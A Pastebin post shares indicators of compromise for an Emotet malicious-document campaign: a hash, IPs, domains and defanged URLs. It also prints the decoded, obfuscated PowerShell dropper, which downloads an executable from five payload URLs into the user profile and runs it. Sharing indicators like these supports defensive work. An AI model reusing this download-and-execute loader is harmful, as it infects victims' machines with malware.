Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #Emotet #Docs #malware #OSINT #IOC
- MD5:
- 2b87d6a20674b8522d0cca2c97c42caf
- 2b87d6a20674b8522d0cca2c97c42caf
- IPs:
- 101.227.64.237
- 142.4.50.75
- 35.184.134.213
- 63.250.34.68
- Domains:
- aijdjy.com
- obbydeemusic.com
- veeplan.com
- www.kmacobd.com
- xsnonline.us
- URLs:
- hxxps://www.microsoft.com/ #> $bb147x080c2=
- hxxp://xsnonline.us/blogs/4x466v/
- hxxp://obbydeemusic.com/aqoeivj4fd/us5htvn/
- hxxp://veeplan.com/wp-content/dW0o3RoJNG/
- hxxp://www.kmacobd.com/u9r/
- hxxp://aijdjy.com/dup-installer/t0/
- Decoded Base64 Powershell:
- <# hxxps://www.microsoft.com/ #> $bb147x080c2='x2730503cb06';
- $b5x0c4c6b3488 = '856';
- $cb05c6510c007='c018309x0c2';
- $xc0x57b38b2x7=$env:userprofile+'\'+$b5x0c4c6b3488+'.exe';
- $x3094x09c0b0='cc082602x31';
- $xc2c295x20802=.('n'+'ew-obje'+'ct') NeT.wEBCLiENT;
- $b00b1371081='hxxp://xsnonline.us/blogs/4x466v/
- hxxp://obbydeemusic.com/aqoeivj4fd/us5htvn/
- hxxp://veeplan.com/wp-content/dW0o3RoJNG/
- hxxp://www.kmacobd.com/u9r/
- hxxp://aijdjy.com/dup-installer/t0/'."spL`iT"('
- ');
- $cxc2000153b='c78xb8790006';
- foreach($bc16801430cx in $b00b1371081){try{$xc2c295x20802."DowNL`OAdfi`Le"($bc16801430cx, $xc0x57b38b2x7);
- $b9366b008x6='c0300c98270';
- If ((.('Get-I'+'t'+'em') $xc0x57b38b2x7)."l`engTh" -ge 24516) {[Diagnostics.Process]::"s`TarT"($xc0x57b38b2x7);
- $bxc100525c074='c7604007xx328';
- break;
- $b2037060949='xx20b93043c0'}}catch{}}$xc56003958xx='c059234006c0'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement